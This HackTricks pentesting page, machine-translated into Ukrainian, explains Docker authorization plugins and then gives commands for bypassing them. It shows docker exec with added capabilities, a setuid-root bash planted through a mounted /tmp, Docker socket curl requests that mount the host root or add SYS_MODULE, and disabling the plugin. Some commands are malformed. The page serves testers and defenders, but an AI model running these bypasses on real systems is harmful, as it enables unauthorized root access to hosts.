AuthZ& AuthN - Docker Access Authorization Plugin

Support HackTricks

Модель авторизації Docker з коробки є все або нічого. Будь-який користувач, який має дозвіл на доступ до демона Docker, може виконувати будь-які команди клієнта Docker. Те ж саме стосується викликів, які використовують API Docker Engine для зв'язку з демоном. Якщо вам потрібен більший контроль доступу, ви можете створити плагіни авторизації та додати їх до конфігурації демона Docker. Використовуючи плагін авторизації, адміністратор Docker може налаштувати детальні політики доступу для управління доступом до демона Docker.

Основна архітектура

Плагіни авторизації Docker є зовнішніми плагінами, які ви можете використовувати для дозволу/заборони дій, запитуваних до демона Docker в залежності від користувача, який їх запитує, та запитуваної дії.

Наступна інформація з документації

Коли HTTP запит надсилається до демона Docker через CLI або через API Engine, підсистема аутентифікації передає запит до встановленого плагіна аутентифікації(ів). Запит містить користувача (викликач) та контекст команди. Плагін відповідає за вирішення, чи дозволити чи заборонити запит.

Діаграми послідовності нижче зображують потік авторизації дозволу та заборони:

Кожен запит, надісланий до плагіна, включає аутентифікованого користувача, HTTP заголовки та тіло запиту/відповіді. Тільки ім'я користувача та метод аутентифікації, що використовується, передаються до плагіна. Найголовніше, жодні облікові дані користувача або токени не передаються. Нарешті, не всі тіла запиту/відповіді надсилаються до плагіна авторизації. Тільки ті тіла запиту/відповіді, де Content-Type є або text/*, або application/json, надсилаються.

Для команд, які можуть потенційно перехопити HTTP з'єднання (HTTP Upgrade), таких як exec, плагін авторизації викликається лише для початкових HTTP запитів. Після того, як плагін схвалює команду, авторизація не застосовується до решти потоку. Зокрема, потік даних не передається до плагінів авторизації. Для команд, які повертають часткову HTTP відповідь, таких як logs та events, лише HTTP запит надсилається до плагінів авторизації.

Під час обробки запиту/відповіді деякі потоки авторизації можуть потребувати додаткових запитів до демона Docker. Щоб завершити такі потоки, плагіни можуть викликати API демона, подібно до звичайного користувача. Щоб дозволити ці додаткові запити, плагін повинен надати засоби для адміністратора для налаштування належної аутентифікації та політик безпеки.

Кілька плагінів

Ви несете відповідальність за реєстрацію вашого плагіна як частини запуску демона Docker. Ви можете встановити кілька плагінів і з'єднати їх разом. Цей ланцюг може бути впорядкованим. Кожен запит до демона проходить у порядку через ланцюг. Тільки коли всі плагіни надають доступ до ресурсу, доступ надається.

Приклади плагінів

Twistlock AuthZ Broker

Плагін authz дозволяє вам створити простий JSON файл, який плагін буде читати для авторизації запитів. Таким чином, він дає вам можливість дуже легко контролювати, які API кінцеві точки можуть досягати кожного користувача.

Це приклад, який дозволить Алісі та Бобу створювати нові контейнери: {"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}

На сторінці route_parser.go ви можете знайти зв'язок між запитуваною URL-адресою та дією. На сторінці types.go ви можете знайти зв'язок між назвою дії та дією.

Простий підручник з плагінів

Ви можете знайти легкий для розуміння плагін з детальною інформацією про установку та налагодження тут: https://github.com/carlospolop-forks/authobot

Прочитайте README та код plugin.go, щоб зрозуміти, як це працює.

Обхід плагіна авторизації Docker

Перерахування доступу

Основні речі, які потрібно перевірити, це які кінцеві точки дозволені та які значення HostConfig дозволені.

Щоб виконати це перерахування, ви можете використати інструмент https://github.com/carlospolop/docker_auth_profiler.

заборонено run --privileged

Мінімальні привілеї

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

Запуск контейнера та отримання привілейованої сесії

У цьому випадку системний адміністратор заборонив користувачам монтувати томи та запускати контейнери з прапором --privileged або надавати будь-які додаткові можливості контейнеру:

docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.

Однак, користувач може створити оболонку всередині запущеного контейнера та надати їй додаткові привілеї:

docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de

# Now you can run a shell with --privileged
docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
# With --cap-add=ALL
docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash

Тепер користувач може вийти з контейнера, використовуючи будь-яку з раніше обговорених технік та підвищити привілеї всередині хоста.

Монтування записуваної папки

У цьому випадку системний адміністратор заборонив користувачам запускати контейнери з прапором --privileged або надавати будь-які додаткові можливості контейнеру, і він дозволив лише монтувати папку /tmp:

host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root

Зверніть увагу, що ви, можливо, не зможете змонтувати папку /tmp, але ви можете змонтувати іншу записувану папку. Ви можете знайти записувані каталоги за допомогою: find / -writable -type d 2>/dev/null

Зверніть увагу, що не всі каталоги в linux машині підтримують біт suid! Щоб перевірити, які каталоги підтримують біт suid, виконайте mount | grep -v "nosuid" Наприклад, зазвичай /dev/shm, /run, /proc, /sys/fs/cgroup та /var/lib/lxcfs не підтримують біт suid.

Також зверніть увагу, що якщо ви можете змонтувати /etc або будь-яку іншу папку з конфігураційними файлами, ви можете змінити їх з контейнера docker як root, щоб зловживати ними на хості та ескалувати привілеї (можливо, модифікувавши /etc/shadow)

Неперевірений API Endpoint

Відповідальність системного адміністратора, який налаштовує цей плагін, полягає в контролі того, які дії і з якими привілеями може виконувати кожен користувач. Тому, якщо адміністратор використовує підхід чорного списку з ендпоінтами та атрибутами, він може забути про деякі з них, що може дозволити зловмиснику ескалювати привілеї.

Ви можете перевірити docker API на https://docs.docker.com/engine/api/v1.40/#

Неперевірена структура JSON

Прив'язки в root

Можливо, що коли системний адміністратор налаштовував брандмауер docker, він забув про деякий важливий параметр API такий як "Binds". У наступному прикладі можливо зловживати цією неправильним налаштуванням, щоб створити та запустити контейнер, який монтує кореневу (/) папку хоста:

docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem

Зверніть увагу, що в цьому прикладі ми використовуємо параметр Binds як ключ верхнього рівня в JSON, але в API він з'являється під ключем HostConfig

Binds в HostConfig

Слідуйте тим же інструкціям, що й з Binds в корені, виконуючи цей запит до Docker API:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create

Mounts in root

Слідуйте тим самим інструкціям, що й з Binds in root, виконуючи цей запит до Docker API:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create

Mounts in HostConfig

Слідуйте тим самим інструкціям, що й з Binds in root, виконуючи цей запит до Docker API:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre

Unchecked JSON Attribute

Можливо, що коли системний адміністратор налаштовував docker firewall, він забув про деякий важливий атрибут параметра API як "Capabilities" всередині "HostConfig". У наступному прикладі можливо зловживати цим неправильним налаштуванням, щоб створити та запустити контейнер з можливістю SYS_MODULE:

docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability

HostConfig є ключем, який зазвичай містить цікаві привілеї для втечі з контейнера. Однак, як ми обговорювали раніше, зверніть увагу, що використання Binds поза ним також працює і може дозволити вам обійти обмеження.

Вимкнення плагіна

Якщо системний адміністратор забув заборонити можливість вимкнення плагіна, ви можете скористатися цим, щоб повністю його вимкнути!

docker plugin list #Enumerate plugins

# If you don’t have access to enumerate the plugins you can see the name of the plugin in the error output:
docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.
# "authbolt" is the name of the previous plugin

docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot

Remember to re-enable the plugin after escalating, or a restart of docker service won’t work!

Auth Plugin Bypass writeups

Support HackTricks

Last updated